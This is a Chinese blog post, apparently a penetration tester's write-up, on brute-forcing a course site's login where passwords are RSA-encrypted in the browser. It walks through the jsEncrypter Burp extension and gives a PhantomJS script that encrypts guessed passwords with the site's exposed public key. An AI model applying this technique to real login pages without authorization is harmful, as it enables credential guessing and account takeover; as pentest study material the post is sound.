某云课堂RSA加密登陆爆破小记

Last updated on 2 years ago

某天,Leader随手甩了个目标,要对某课堂做测试。我xxx****,又是个开头登录页面的“破站”。

没有验证码,祭出Burp Suite爆之!

然而,然而,password字段居然是加密的,现在开发的安全意识都这么“高”了吗?

不想测这破站,只想摸鱼领个底薪,不测了,破站扔一边去…

几天后…

Leader:站点测试怎么样了,报告发一下

Me:额,快好了,正在整理报告了,稍后发。

再度打开burpsuite重新看看那破站了,唉…


​ 粗略的瞄了瞄,登录功能上没有验证码,且无错误次数等限制,只是通过 jsRSA 加密算法把 password 字段加密,而且公钥存在于 HTML 代码中,那么可以本地调用其加密函数把 payloads加密后再发送,从而暴力猜解用户账号密码。

加密函数:

下载 实现加密的js脚本到本地

http://xxxxx.com/javascripts/jsrsasign-latest-all-min.js

下载加密脚本/BurpSuite扩展以及Apache Maven

https://github.com/c0ny1/jsEncrypter

https://maven.apache.org/download.cgi

编译插件jsEncrypter

1
mvn clean package -DskipTests

编译完后加载到Burp Suite中。

编写phantomJS运行脚本

使用 test/TestScript/RSA/jsEncrypter_rsa.js 模板。将实现加密算法的js文件引入模板脚本,在模板脚本的 js_encrypt 函数体中完成对加密函数的调用。

jsEncrypter_rsa.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...............

// load js file
var wasSuccessful = phantom.injectJs('jsrsasign-latest-all-min.js');

//Processing function
function js_encrypt(payload){
var newpayload;
/**Write the code that calls the encryption function to encrypt here***/
var prefix = "-----BEGIN PUBLIC KEY-----\n";
var suffix = "\n-----END PUBLIC KEY-----";
var key = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDzOIykY8AmZkoDPDL9zfgV48FKY1RcqWYj4YE/zzvNXDl8e7hnkNRNRHk3InE95ehk340iOumV+RJ9KdihoWKHqnSPH2wTxDdI2WFuI1FOfndL67fJliEHx9z6A7bfFUZZq9xuzoA/zPCZbLsfWfa2mbi96Qc1lI73kCa8sLmDwwIDAQAB";
var publicKey = prefix + key + suffix;
var pub = KEYUTIL.getKey(publicKey);

// encrypt.setPublicKey(key);
newpayload = KJUR.crypto.Cipher.encrypt(payload, pub);
/**********************************************************/
return newpayload;
}
..............

下载phantomJS并运行脚本

https://phantomjs.org/download.html

1
phantomJS.exe jsEncrypter_rsa.js

拦截登录包暴力破解

删除 Cookie 字段,关联扩展jsEncrypter:

整理报告,交差~ 又可以愉快的学(摸)习(鱼)了。

以上纯属虚构,如有雷同,实属巧合。


某云课堂RSA加密登陆爆破小记
https://guosec.online/posts/c8e756ab.html
Posted on
April 7, 2021
Updated on
July 2, 2022
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!